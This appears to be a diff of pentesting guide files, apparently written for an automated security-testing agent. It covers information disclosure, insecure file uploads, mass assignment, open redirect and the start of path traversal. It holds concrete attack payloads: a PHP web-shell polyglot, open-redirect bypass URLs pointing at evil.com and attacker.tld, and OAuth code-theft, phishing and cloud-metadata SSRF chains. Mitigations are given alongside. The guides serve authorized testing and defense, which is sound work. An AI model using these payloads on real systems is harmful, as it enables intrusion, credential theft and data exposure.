1. Provide raw evidence (headers/body/artifact) and explain exact data revealed.
|
||||
2. Determine intent: cross-check docs/UX; classify per triage rubric (Critical/High/Medium/Low).
|
||||
3. Attempt minimal, reversible exploitation or present a concrete step-by-step chain (what to try next and why).
|
||||
4. Show reproducibility and minimal request set; include cross-channel confirmation where applicable.
|
||||
5. Bound scope (user, tenant, environment) and data sensitivity classification.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Intentional public docs or non-sensitive metadata with no exploit path
|
||||
- Generic errors with no actionable details
|
||||
- Redacted fields that do not change differential oracles (length/ETag stable)
|
||||
- Version banners with no exposed vulnerable surface and no chain
|
||||
- Owner-visible-only details that do not cross identity/tenant boundaries
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Accelerated exploitation of RCE/LFI/SSRF via precise versions and paths
|
||||
- Credential/secret exposure leading to persistent external compromise
|
||||
- Cross-tenant data disclosure through exports, caches, or mis-scoped signed URLs
|
||||
- Privacy/regulatory violations and business intelligence leakage
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Start with artifacts (DVCS, backups, maps) before payloads; artifacts yield the fastest wins.
|
||||
2. Normalize responses and diff by digest to reduce noise when comparing roles.
|
||||
3. Hunt source maps and client data JSON; they often carry internal IDs and flags.
|
||||
4. Probe caches/CDNs for identity-unaware keys; verify Vary includes Authorization/tenant.
|
||||
5. Treat introspection and reflection as configuration findings across GraphQL/gRPC; validate per environment.
|
||||
6. Mine observability endpoints last; they are noisy but high-yield in misconfigured setups.
|
||||
7. Chain quickly to a concrete risk and stop—proof should be minimal and reversible.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Information disclosure is an amplifier. Convert leaks into precise, minimal exploits or clear architectural risks.</remember>
|
||||
</information_disclosure_vulnerability_guide>
|
||||
@@ -0,0 +1,188 @@
|
||||
<insecure_file_uploads_guide>
|
||||
<title>INSECURE FILE UPLOADS</title>
|
||||
|
||||
<critical>Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware distribution, storage takeover, and DoS. Modern stacks mix direct-to-cloud uploads, background processors, and CDNs—authorization and validation must hold across every step.</critical>
|
||||
|
||||
<scope>
|
||||
- Web/mobile/API uploads, direct-to-cloud (S3/GCS/Azure) presigned flows, resumable/multipart protocols (tus, S3 MPU)
|
||||
- Image/document/media pipelines (ImageMagick/GraphicsMagick, Ghostscript, ExifTool, PDF engines, office converters)
|
||||
- Admin/bulk importers, archive uploads (zip/tar), report/template uploads, rich text with attachments
|
||||
- Serving paths: app directly, object storage, CDN, email attachments, previews/thumbnails
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Map the pipeline: client → ingress (edge/app/gateway) → storage → processors (thumb, OCR, AV, CDR) → serving (app/storage/CDN). Note where validation and auth occur.
|
||||
2. Identify allowed types, size limits, filename rules, storage keys, and who serves the content. Collect baseline uploads per type and capture resulting URLs and headers.
|
||||
3. Exercise bypass families systematically: extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure, chunk/finalize differentials.
|
||||
4. Validate execution and rendering: can uploaded content execute on server or client? Confirm with minimal PoCs and headers analysis.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- Endpoints/fields: upload, file, avatar, image, attachment, import, media, document, template
|
||||
- Direct-to-cloud params: key, bucket, acl, Content-Type, Content-Disposition, x-amz-meta-*, cache-control
|
||||
- Resumable APIs: create/init → upload/chunk → complete/finalize; check if metadata/headers can be altered late
|
||||
- Background processors: thumbnails, PDF→image, virus scan queues; identify timing and status transitions
|
||||
</surface_map>
|
||||
|
||||
<capability_probes>
|
||||
- Small probe files of each claimed type; diff resulting Content-Type, Content-Disposition, and X-Content-Type-Options on download
|
||||
- Magic bytes vs extension: JPEG/GIF/PNG headers; mismatches reveal reliance on extension or MIME sniffing
|
||||
- SVG/HTML probe: do they render inline (text/html or image/svg+xml) or download (attachment)?
|
||||
- Archive probe: simple zip with nested path traversal entries and symlinks to detect extraction rules
|
||||
</capability_probes>
|
||||
</discovery_techniques>
|
||||
|
||||
<detection_channels>
|
||||
<server_execution>
|
||||
- Web shell execution (language dependent), config/handler uploads (.htaccess, .user.ini, web.config) enabling execution
|
||||
- Interpreter-side template/script evaluation during conversion (ImageMagick/Ghostscript/ExifTool)
|
||||
</server_execution>
|
||||
|
||||
<client_execution>
|
||||
- Stored XSS via SVG/HTML/JS if served inline without correct headers; PDF JavaScript; office macros in previewers
|
||||
</client_execution>
|
||||
|
||||
<header_and_render>
|
||||
- Missing X-Content-Type-Options: nosniff enabling browser sniff to script
|
||||
- Content-Type reflection from upload vs server-set; Content-Disposition: inline vs attachment
|
||||
</header_and_render>
|
||||
|
||||
<process_side_effects>
|
||||
- AV/CDR race or absence; background job status allows access before scan completes; password-protected archives bypass scanning
|
||||
</process_side_effects>
|
||||
</detection_channels>
|
||||
|
||||
<core_payloads>
|
||||
<web_shells_and_configs>
|
||||
- PHP: GIF polyglot (starts with GIF89a) followed by <?php echo 1; ?>; place where PHP is executed
|
||||
- .htaccess to map extensions to code (AddType/AddHandler); .user.ini (auto_prepend/append_file) for PHP-FPM
|
||||
- ASP/JSP equivalents where supported; IIS web.config to enable script execution
|
||||
</web_shells_and_configs>
|
||||
|
||||
<stored_xss>
|
||||
- SVG with onload/onerror handlers served as image/svg+xml or text/html
|
||||
- HTML file with script when served as text/html or sniffed due to missing nosniff
|
||||
</stored_xss>
|
||||
|
||||
<mime_magic_polyglots>
|
||||
- Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
|
||||
- Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
|
||||
</mime_magic_polyglots>
|
||||
|
||||
<archive_attacks>
|
||||
- Zip Slip: entries with ../../ to escape extraction dir; symlink-in-zip pointing outside target; nested zips
|
||||
- Zip bomb: extreme compression ratios (e.g., 42.zip) to exhaust resources in processors
|
||||
</archive_attacks>
|
||||
|
||||
<toolchain_exploits>
|
||||
- ImageMagick/GraphicsMagick legacy vectors (policy.xml may mitigate): crafted SVG/PS/EPS invoking external commands or reading files
|
||||
- Ghostscript in PDF/PS with file operators (%pipe%)
|
||||
- ExifTool metadata parsing bugs; overly large or crafted EXIF/IPTC/XMP fields
|
||||
</toolchain_exploits>
|
||||
|
||||
<cloud_storage_vectors>
|
||||
- S3/GCS presigned uploads: attacker controls Content-Type/Disposition; set text/html or image/svg+xml and inline rendering
|
||||
- Public-read ACL or permissive bucket policies expose uploads broadly; object key injection via user-controlled path prefixes
|
||||
- Signed URL reuse and stale URLs; serving directly from bucket without attachment + nosniff headers
|
||||
</cloud_storage_vectors>
|
||||
</core_payloads>
|
||||
|
||||
<advanced_techniques>
|
||||
<resumable_multipart>
|
||||
- Change metadata between init and complete (e.g., swap Content-Type/Disposition at finalize)
|
||||
- Upload benign chunks, then swap last chunk or complete with different source if server trusts client-side digests only
|
||||
</resumable_multipart>
|
||||
|
||||
<filename_and_path>
|
||||
- Unicode homoglyphs, trailing dots/spaces, device names, reserved characters to bypass validators and filesystem rules
|
||||
- Null-byte truncation on legacy stacks; overlong paths; case-insensitive collisions overwriting existing files
|
||||
</filename_and_path>
|
||||
|
||||
<processing_races>
|
||||
- Request file immediately after upload but before AV/CDR completes; or during derivative creation to get unprocessed content
|
||||
- Trigger heavy conversions (large images, deep PDFs) to widen race windows
|
||||
</processing_races>
|
||||
|
||||
<metadata_abuse>
|
||||
- Oversized EXIF/XMP/IPTC blocks to trigger parser flaws; payloads in document properties of Office/PDF rendered by previewers
|
||||
</metadata_abuse>
|
||||
|
||||
<header_manipulation>
|
||||
- Force inline rendering with Content-Type + inline Content-Disposition; test browsers with and without nosniff
|
||||
- Cache poisoning via CDN with keys missing Vary on Content-Type/Disposition
|
||||
</header_manipulation>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<validation_gaps>
|
||||
- Client-side only checks; relying on JS/MIME provided by browser; trusting multipart boundary part headers blindly
|
||||
- Extension allowlists without server-side content inspection; magic-bytes only without full parsing
|
||||
</validation_gaps>
|
||||
|
||||
<evasion_tricks>
|
||||
- Double extensions, mixed case, hidden dotfiles, extra dots (file..png), long paths with allowed suffix
|
||||
- Multipart name vs filename vs path discrepancies; duplicate parameters and late parameter precedence
|
||||
</evasion_tricks>
|
||||
</filter_bypasses>
|
||||
|
||||
<special_contexts>
|
||||
<rich_text_editors>
|
||||
- RTEs allow image/attachment uploads and embed links; verify sanitization and serving headers for embedded content
|
||||
</rich_text_editors>
|
||||
|
||||
<mobile_clients>
|
||||
- Mobile SDKs may send nonstandard MIME or metadata; servers sometimes trust client-side transformations or EXIF orientation
|
||||
</mobile_clients>
|
||||
|
||||
<serverless_and_cdn>
|
||||
- Direct-to-bucket uploads with Lambda/Workers post-processing; verify that security decisions are not delegated to frontends
|
||||
- CDN caching of uploaded content; ensure correct cache keys and headers (attachment, nosniff)
|
||||
</serverless_and_cdn>
|
||||
</special_contexts>
|
||||
|
||||
<parser_hardening>
|
||||
- Validate on server: strict allowlist by true type (parse enough to confirm), size caps, and structural checks (dimensions, page count)
|
||||
- Strip active content: convert SVG→PNG; remove scripts/JS from PDF; disable macros; normalize EXIF; consider CDR for risky types
|
||||
- Store outside web root; serve via application or signed, time-limited URLs with Content-Disposition: attachment and X-Content-Type-Options: nosniff
|
||||
- For cloud: private buckets, per-request signed GET, enforce Content-Type/Disposition on GET responses from your app/gateway
|
||||
- Disable execution in upload paths; ignore .htaccess/.user.ini; sanitize keys to prevent path injections; randomize filenames
|
||||
- AV + CDR: scan synchronously when possible; quarantine until verdict; block password-protected archives or process in sandbox
|
||||
</parser_hardening>
|
||||
|
||||
<validation>
|
||||
1. Demonstrate execution or rendering of active content: web shell reachable, or SVG/HTML executing JS when viewed.
|
||||
2. Show filter bypass: upload accepted despite restrictions (extension/MIME/magic mismatch) with evidence on retrieval.
|
||||
3. Prove header weaknesses: inline rendering without nosniff or missing attachment; present exact response headers.
|
||||
4. Show race or pipeline gap: access before AV/CDR; extraction outside intended directory; derivative creation from malicious input.
|
||||
5. Provide reproducible steps: request/response for upload and subsequent access, with minimal PoCs.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Upload stored but never served back; or always served as attachment with strict nosniff
|
||||
- Converters run in locked-down sandboxes with no external IO and no script engines; no path traversal on archive extraction
|
||||
- AV/CDR blocks the payload and quarantines; access before scan is impossible by design
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Remote code execution on application stack or media toolchain host
|
||||
- Persistent cross-site scripting and session/token exfiltration via served uploads
|
||||
- Malware distribution via public storage/CDN; brand/reputation damage
|
||||
- Data loss or corruption via overwrite/zip slip; service degradation via zip bombs or oversized assets
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Keep PoCs minimal: tiny SVG/HTML for XSS, a single-line PHP/ASP where relevant, and benign magic-byte polyglots.
|
||||
2. Always capture download response headers and final MIME from the server/CDN; that decides browser behavior.
|
||||
3. Prefer transforming risky formats to safe renderings (SVG→PNG) rather than attempting complex sanitization.
|
||||
4. In presigned flows, constrain all headers and object keys server-side; ignore client-supplied ACL and metadata.
|
||||
5. For archives, extract in a chroot/jail with explicit allowlist; drop symlinks and reject traversal.
|
||||
6. Test finalize/complete steps in resumable flows; many validations only run on init, not at completion.
|
||||
7. Verify background processors with EICAR and tiny polyglots; ensure quarantine gates access until safe.
|
||||
8. When you cannot get execution, aim for stored XSS or header-driven script execution; both are impactful.
|
||||
9. Validate that CDNs honor attachment/nosniff and do not override Content-Type/Disposition.
|
||||
10. Document full pipeline behavior per asset type; defenses must match actual processors and serving paths.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Secure uploads are a pipeline property. Enforce strict type, size, and header controls; transform or strip active content; never execute or inline-render untrusted uploads; and keep storage private with controlled, signed access.</remember>
|
||||
</insecure_file_uploads_guide>
|
||||
@@ -0,0 +1,141 @@
|
||||
<mass_assignment_guide>
|
||||
<title>MASS ASSIGNMENT</title>
|
||||
|
||||
<critical>Mass assignment binds client-supplied fields directly into models/DTOs without field-level allowlists. It commonly leads to privilege escalation, ownership changes, and unauthorized state transitions in modern APIs and GraphQL.</critical>
|
||||
|
||||
<scope>
|
||||
- REST/JSON, GraphQL inputs, form-encoded and multipart bodies
|
||||
- Model binding in controllers/resolvers; ORM create/update helpers
|
||||
- Writable nested relations, sparse/patch updates, bulk endpoints
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Identify create/update endpoints and GraphQL mutations. Capture full server responses to observe returned fields.
|
||||
2. Build a candidate list of sensitive attributes per resource: role/isAdmin/permissions, ownerId/accountId/tenantId, status/state, plan/price, limits/quotas, feature flags, verification flags, balance/credits.
|
||||
3. Inject candidates alongside legitimate updates across transports and encodings; compare before/after state and diffs across roles.
|
||||
4. Repeat with nested objects, arrays, and alternative shapes (dot/bracket notation, duplicate keys) and in batch operations.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- Controllers with automatic binding (e.g., request.json → model); GraphQL input types mirroring models; admin/staff tools exposed via API
|
||||
- OpenAPI/GraphQL schemas: uncover hidden fields or enums; SDKs often reveal writable fields
|
||||
- Client bundles and mobile apps: inspect forms and mutation payloads for field names
|
||||
</surface_map>
|
||||
|
||||
<parameter_strategies>
|
||||
- Flat fields: isAdmin, role, roles[], permissions[], status, plan, tier, premium, verified, emailVerified
|
||||
- Ownership/tenancy: userId, ownerId, accountId, organizationId, tenantId, workspaceId
|
||||
- Limits/quotas: usageLimit, seatCount, maxProjects, creditBalance
|
||||
- Feature flags/gates: features, flags, betaAccess, allowImpersonation
|
||||
- Billing: price, amount, currency, prorate, nextInvoice, trialEnd
|
||||
</parameter_strategies>
|
||||
|
||||
<shape_variants>
|
||||
- Alternate shapes: arrays vs scalars; nested JSON; objects under unexpected keys
|
||||
- Dot/bracket paths: profile.role, profile[role], settings[roles][]
|
||||
- Duplicate keys and precedence: {"role":"user","role":"admin"}
|
||||
- Sparse/patch formats: JSON Patch/JSON Merge Patch; try adding forbidden paths or replacing protected fields
|
||||
</shape_variants>
|
||||
|
||||
<encodings_and_channels>
|
||||
- Content-types: application/json, application/x-www-form-urlencoded, multipart/form-data, text/plain (JSON via server coercion)
|
||||
- GraphQL: add suspicious fields to input objects; overfetch response to detect changes
|
||||
- Batch/bulk: arrays of objects; verify per-item allowlists not skipped
|
||||
</encodings_and_channels>
|
||||
|
||||
<exploitation_techniques>
|
||||
<privilege_escalation>
|
||||
- Set role/isAdmin/permissions during signup/profile update; toggle admin/staff flags where exposed
|
||||
</privilege_escalation>
|
||||
|
||||
<ownership_takeover>
|
||||
- Change ownerId/accountId/tenantId to seize resources; move objects across users/tenants
|
||||
</ownership_takeover>
|
||||
|
||||
<feature_gate_bypass>
|
||||
- Enable premium/beta/feature flags via flags/features fields; raise limits/seatCount/quotas
|
||||
</feature_gate_bypass>
|
||||
|
||||
<billing_and_entitlements>
|
||||
- Modify plan/price/prorate/trialEnd or creditBalance; bypass server recomputation
|
||||
</billing_and_entitlements>
|
||||
|
||||
<nested_and_relation_writes>
|
||||
- Writable nested serializers or ORM relations allow creating or linking related objects beyond caller’s scope (e.g., attach to another user’s org)
|
||||
</nested_and_relation_writes>
|
||||
|
||||
<advanced_techniques>
|
||||
<graphQL_specific>
|
||||
- Field-level authz missing on input types: attempt forbidden fields in mutation inputs; combine with aliasing/batching to compare effects
|
||||
- Use fragments to overfetch changed fields immediately after mutation
|
||||
</graphQL_specific>
|
||||
|
||||
<orm_framework_edges>
|
||||
- Rails: strong parameters misconfig or deep nesting via accepts_nested_attributes_for
|
||||
- Laravel: $fillable/$guarded misuses; guarded=[] opens all; casts mutating hidden fields
|
||||
- Django REST Framework: writable nested serializer, read_only/extra_kwargs gaps, partial updates
|
||||
- Mongoose/Prisma: schema paths not filtered; select:false doesn’t prevent writes; upsert defaults
|
||||
</orm_framework_edges>
|
||||
|
||||
<parser_and_validator_gaps>
|
||||
- Validators run post-bind and do not cover extra fields; unknown fields silently dropped in response but persisted underneath
|
||||
- Inconsistent allowlists between mobile/web/gateway; alt encodings bypass validation pipeline
|
||||
</parser_and_validator_gaps>
|
||||
|
||||
<bypass_techniques>
|
||||
<content_type_switching>
|
||||
- Switch JSON ↔ form-encoded ↔ multipart ↔ text/plain; some code paths only validate one
|
||||
</content_type_switching>
|
||||
|
||||
<key_path_variants>
|
||||
- Dot/bracket/object re-shaping to reach nested fields through different binders
|
||||
</key_path_variants>
|
||||
|
||||
<batch_paths>
|
||||
- Per-item checks skipped in bulk operations; insert a single malicious object within a large batch
|
||||
</batch_paths>
|
||||
|
||||
<race_and_reorder>
|
||||
- Race two updates: first sets forbidden field, second normalizes; final state may retain forbidden change
|
||||
</race_and_reorder>
|
||||
|
||||
<validation>
|
||||
1. Show a minimal request where adding a sensitive field changes persisted state for a non-privileged caller.
|
||||
2. Provide before/after evidence (response body, subsequent GET, or GraphQL query) proving the forbidden attribute value.
|
||||
3. Demonstrate consistency across at least two encodings or channels.
|
||||
4. For nested/bulk, show that protected fields are written within child objects or array elements.
|
||||
5. Quantify impact (e.g., role flip, cross-tenant move, quota increase) and reproducibility.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Server recomputes derived fields (plan/price/role) ignoring client input
|
||||
- Fields marked read-only and enforced consistently across encodings
|
||||
- Only UI-side changes with no persisted effect
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Privilege escalation and admin feature access
|
||||
- Cross-tenant or cross-account resource takeover
|
||||
- Financial/billing manipulation and quota abuse
|
||||
- Policy/approval bypass by toggling verification or status flags
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Build a sensitive-field dictionary per resource and fuzz systematically.
|
||||
2. Always try alternate shapes and encodings; many validators are shape/CT-specific.
|
||||
3. For GraphQL, diff the resource immediately after mutation; effects are often visible even if the mutation returns filtered fields.
|
||||
4. Inspect SDKs/mobile apps for hidden field names and nested write examples.
|
||||
5. Prefer minimal PoCs that prove durable state changes; avoid UI-only effects.
|
||||
</pro_tips>
|
||||
|
||||
<mitigations>
|
||||
- Enforce server-side allowlists per operation and role; deny unknown fields by default
|
||||
- Separate input DTOs from domain models; map explicitly
|
||||
- Recompute derived fields (role/plan/owner) from trusted context; ignore client values
|
||||
- Lock nested writes to owned resources; validate foreign keys against caller scope
|
||||
- For GraphQL, use input types that expose only permitted fields and enforce resolver-level checks
|
||||
</mitigations>
|
||||
|
||||
<remember>Mass assignment is eliminated by explicit mapping and per-field authorization. Treat every client-supplied attribute—especially nested or batch inputs—as untrusted until validated against an allowlist and caller scope.</remember>
|
||||
</mass_assignment_guide>
|
||||
@@ -0,0 +1,177 @@
|
||||
<open_redirect_vulnerability_guide>
|
||||
<title>OPEN REDIRECT</title>
|
||||
|
||||
<critical>Open redirects enable phishing, OAuth/OIDC code and token theft, and allowlist bypass in server-side fetchers that follow redirects. Treat every redirect target as untrusted: canonicalize and enforce exact allowlists per scheme, host, and path.</critical>
|
||||
|
||||
<scope>
|
||||
- Server-driven redirects (HTTP 3xx Location) and client-driven redirects (window.location, meta refresh, SPA routers)
|
||||
- OAuth/OIDC/SAML flows using redirect_uri, post_logout_redirect_uri, RelayState, returnTo/continue/next
|
||||
- Multi-hop chains where only the first hop is validated
|
||||
- Allowlist/canonicalization bypasses across URL parsers and reverse proxies
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory all redirect surfaces: login/logout, password reset, SSO/OAuth flows, payment gateways, email links, invite/verification, unsubscribe, language/locale switches, /out or /r redirectors.
|
||||
2. Build a test matrix of scheme×host×path variants and encoding/unicode forms. Compare server-side validation vs browser navigation results.
|
||||
3. Exercise multi-hop: trusted-domain → redirector → external. Verify if validation applies pre- or post-redirect.
|
||||
4. Prove impact: credential phishing, OAuth code interception, internal egress (if a server fetcher follows redirects).
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<injection_points>
|
||||
- Params: redirect, url, next, return_to, returnUrl, continue, goto, target, callback, out, dest, back, to, r, u
|
||||
- OAuth/OIDC/SAML: redirect_uri, post_logout_redirect_uri, RelayState, state (if used to compute final destination)
|
||||
- SPA: router.push/replace, location.assign/href, meta refresh, window.open
|
||||
- Headers influencing construction: Host, X-Forwarded-Host/Proto, Referer; and server-side Location echo
|
||||
</injection_points>
|
||||
|
||||
<parser_differentials>
|
||||
<userinfo>
|
||||
https://trusted.com@evil.com → many validators parse host as trusted.com, browser navigates to evil.com
|
||||
Variants: trusted.com%40evil.com, a%40evil.com%40trusted.com
|
||||
</userinfo>
|
||||
|
||||
<backslash_and_slashes>
|
||||
https://trusted.com\\evil.com, https://trusted.com\\@evil.com, ///evil.com, /\\evil.com
|
||||
Windows/backends may normalize \\ to /; browsers differ on interpretation of extra leading slashes
|
||||
</backslash_and_slashes>
|
||||
|
||||
<whitespace_and_ctrl>
|
||||
http%09://evil.com, http%0A://evil.com, trusted.com%09evil.com
|
||||
Control/whitespace around the scheme/host can split parsers
|
||||
</whitespace_and_ctrl>
|
||||
|
||||
<fragment_and_query>
|
||||
trusted.com#@evil.com, trusted.com?//@evil.com, ?next=//evil.com#@trusted.com
|
||||
Validators often stop at # while the browser parses after it
|
||||
</fragment_and_query>
|
||||
|
||||
<unicode_and_idna>
|
||||
Punycode/IDN: truѕted.com (Cyrillic), trusted.com。evil.com (full-width dot), trailing dot trusted.com.
|
||||
Test with mixed Unicode normalization and IDNA conversion
|
||||
</unicode_and_idna>
|
||||
</parser_differentials>
|
||||
|
||||
<encoding_bypasses>
|
||||
- Double encoding: %2f%2fevil.com, %252f%252fevil.com
|
||||
- Mixed case and scheme smuggling: hTtPs://evil.com, http:evil.com
|
||||
- IP variants: decimal 2130706433, octal 0177.0.0.1, hex 0x7f.1, IPv6 [::ffff:127.0.0.1]
|
||||
- User-controlled path bases: /out?url=/\\evil.com
|
||||
</encoding_bypasses>
|
||||
</discovery_techniques>
|
||||
|
||||
<allowlist_evasion>
|
||||
<common_mistakes>
|
||||
- Substring/regex contains checks: allows trusted.com.evil.com, or path matches leaking external
|
||||
- Wildcards: *.trusted.com also matches attacker.trusted.com.evil.net
|
||||
- Missing scheme pinning: data:, javascript:, file:, gopher: accepted
|
||||
- Case/IDN drift between validator and browser
|
||||
</common_mistakes>
|
||||
|
||||
<robust_validation>
|
||||
- Canonicalize with a single modern URL parser (WHATWG URL) and compare exact scheme, hostname (post-IDNA), and an explicit allowlist with optional exact path prefixes
|
||||
- Require absolute HTTPS; reject protocol-relative // and unknown schemes
|
||||
- Normalize and compare after following zero redirects only; if following, re-validate the final destination per hop server-side
|
||||
</robust_validation>
|
||||
</allowlist_evasion>
|
||||
|
||||
<oauth_oidc_saml>
|
||||
<redirect_uri_abuse>
|
||||
- Using an open redirect on a trusted domain for redirect_uri enables code interception
|
||||
- Weak prefix/suffix checks: https://trusted.com → https://trusted.com.evil.com; /callback → /callback@evil.com
|
||||
- Path traversal/canonicalization: /oauth/../../@evil.com
|
||||
- post_logout_redirect_uri often less strictly validated; test both
|
||||
- state must be unguessable and bound to client/session; do not recompute final destination from state without validation
|
||||
</redirect_uri_abuse>
|
||||
|
||||
<defense_notes>
|
||||
- Pre-register exact redirect_uri values per client (no wildcards). Enforce exact scheme/host/port/path match
|
||||
- For public native apps, follow RFC guidance (loopback 127.0.0.1 with exact port handling); disallow open web redirectors
|
||||
- SAML RelayState should be validated against an allowlist or ignored for absolute URLs
|
||||
</defense_notes>
|
||||
</oauth_oidc_saml>
|
||||
|
||||
<client_side_vectors>
|
||||
<javascript_redirects>
|
||||
- location.href/assign/replace using user input; ensure targets are normalized and restricted to same-origin or allowlist
|
||||
- meta refresh content=0;url=USER_INPUT; browsers treat javascript:/data: differently; still dangerous in client-controlled redirects
|
||||
- SPA routers: router.push(searchParams.get('next')); enforce same-origin and strip schemes
|
||||
</javascript_redirects>
|
||||
|
||||
</client_side_vectors>
|
||||
|
||||
<reverse_proxies_and_gateways>
|
||||
- Host/X-Forwarded-* may change absolute URL construction; validate against server-derived canonical origin, not client headers
|
||||
- CDNs that follow redirects for link checking or prefetching can leak tokens when chained with open redirects
|
||||
</reverse_proxies_and_gateways>
|
||||
|
||||
<ssrf_chaining>
|
||||
- Some server-side fetchers (web previewers, link unfurlers, validators) follow 3xx; combine with an open redirect on an allowlisted domain to pivot to internal targets (169.254.169.254, localhost, cluster addresses)
|
||||
- Confirm by observing distinct error/timing for internal vs external, or OAST callbacks when reachable
|
||||
</ssrf_chaining>
|
||||
|
||||
<framework_notes>
|
||||
<server_side>
|
||||
- Rails: redirect_to params[:url] without URI parsing; test array params and protocol-relative
|
||||
- Django: HttpResponseRedirect(request.GET['next']) without is_safe_url; relies on ALLOWED_HOSTS + scheme checks
|
||||
- Spring: return "redirect:" + param; ensure UriComponentsBuilder normalization and allowlist
|
||||
- Express: res.redirect(req.query.url); use a safe redirect helper enforcing relative paths or a vetted allowlist
|
||||
</server_side>
|
||||
|
||||
<client_side>
|
||||
- React/Next.js/Vue/Angular routing based on URLSearchParams; ensure same-origin policy and disallow external schemes in client code
|
||||
</client_side>
|
||||
</framework_notes>
|
||||
|
||||
<exploitation_scenarios>
|
||||
<oauth_code_interception>
|
||||
1. Set redirect_uri to https://trusted.example/out?url=https://attacker.tld/cb
|
||||
2. IdP sends code to trusted.example which redirects to attacker.tld
|
||||
3. Exchange code for tokens; demonstrate account access
|
||||
</oauth_code_interception>
|
||||
|
||||
<phishing_flow>
|
||||
1. Send link on trusted domain: /login?next=https://attacker.tld/fake
|
||||
2. Victim authenticates; browser navigates to attacker page
|
||||
3. Capture credentials/tokens via cloned UI or injected JS
|
||||
</phishing_flow>
|
||||
|
||||
<internal_evasion>
|
||||
1. Server-side link unfurler fetches https://trusted.example/out?u=http://169.254.169.254/latest/meta-data
|
||||
2. Redirect follows to metadata; confirm via timing/headers or controlled endpoints
|
||||
</internal_evasion>
|
||||
</exploitation_scenarios>
|
||||
|
||||
<validation>
|
||||
1. Produce a minimal URL that navigates to an external domain via the vulnerable surface; include the full address bar capture.
|
||||
2. Show bypass of the stated validation (regex/allowlist) using canonicalization variants.
|
||||
3. Test multi-hop: prove only first hop is validated and second hop escapes constraints.
|
||||
4. For OAuth/SAML, demonstrate code/RelayState delivery to an attacker-controlled endpoint with role-separated evidence.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Redirects constrained to relative same-origin paths with robust normalization
|
||||
- Exact pre-registered OAuth redirect_uri with strict verifier
|
||||
- Validators using a single canonical parser and comparing post-IDNA host and scheme
|
||||
- User prompts that show the exact final destination before navigating and refuse unknown schemes
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Credential and token theft via phishing and OAuth/OIDC interception
|
||||
- Internal data exposure when server fetchers follow redirects (previewers/unfurlers)
|
||||
- Policy bypass where allowlists are enforced only on the first hop
|
||||
- Cross-application trust erosion and brand abuse
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Always compare server-side canonicalization to real browser navigation; differences reveal bypasses.
|
||||
2. Try userinfo, protocol-relative, Unicode/IDN, and IP numeric variants early; they catch many weak validators.
|
||||
3. In OAuth, prioritize post_logout_redirect_uri and less-discussed flows; they’re often looser.
|
||||
4. Exercise multi-hop across distinct subdomains and paths; validators commonly check only hop 1.
|
||||
5. For SSRF chaining, target services known to follow redirects and log their outbound requests.
|
||||
6. Favor allowlists of exact origins plus optional path prefixes; never substring/regex contains checks.
|
||||
7. Keep a curated suite of redirect payloads per runtime (Java, Node, Python, Go) reflecting each parser’s quirks.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Redirection is safe only when the final destination is constrained after canonicalization. Enforce exact origins, verify per hop, and treat client-provided destinations as untrusted across every stack.</remember>
|
||||
</open_redirect_vulnerability_guide>
|
||||
@@ -0,0 +1,142 @@
|
||||
<path_traversal_lfi_rfi_guide>
|
||||
<title>PATH TRAVERSAL, LFI, AND RFI</title>
|
||||
|
||||
<critical>Improper file path handling and dynamic inclusion enable sensitive file disclosure, config/source leakage, SSRF pivots, and code execution. Treat all user-influenced paths, names, and schemes as untrusted; normalize and bind them to an allowlist or eliminate user control entirely.</critical>
|
||||
|
||||
<scope>
|
||||
- Path traversal: read files outside intended roots via ../, encoding, normalization gaps
|
||||
- Local File Inclusion (LFI): include server-side files into interpreters/templates
|
||||
- Remote File Inclusion (RFI): include remote resources (HTTP/FTP/wrappers) for code execution
|
||||
- Archive extraction traversal (Zip Slip): write outside target directory upon unzip/untar
|
||||
- Server/proxy normalization mismatches (nginx alias/root, upstream decoders)
|
||||
- OS-specific paths: Windows separators, device names, UNC, NT paths, alternate data streams
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory all file operations: downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors.
|
||||
2. Identify input joins: path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations.
|
||||
3. Probe normalization and resolution: separators, encodings, double-decodes, case, trailing dots/slashes; compare web server vs application behavior.
|
||||
4. Escalate from disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains).
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_map>
|
||||
- HTTP params: file, path, template, include, page, view, download, export, report, log, dir, theme, lang
|
||||
- Upload and conversion pipelines: image/PDF renderers, thumbnailers, office converters
|
||||
- Archive extract endpoints and background jobs; imports with ZIP/TAR/GZ/7z
|
||||
- Server-side template rendering (PHP/Smarty/Twig/Blade), email templates, CMS themes/plugins
|
||||
- Reverse proxies and static file servers (nginx, CDN) in front of app handlers
|
||||
</surface_map>
|
||||
|
||||
<capability_probes>
|
||||
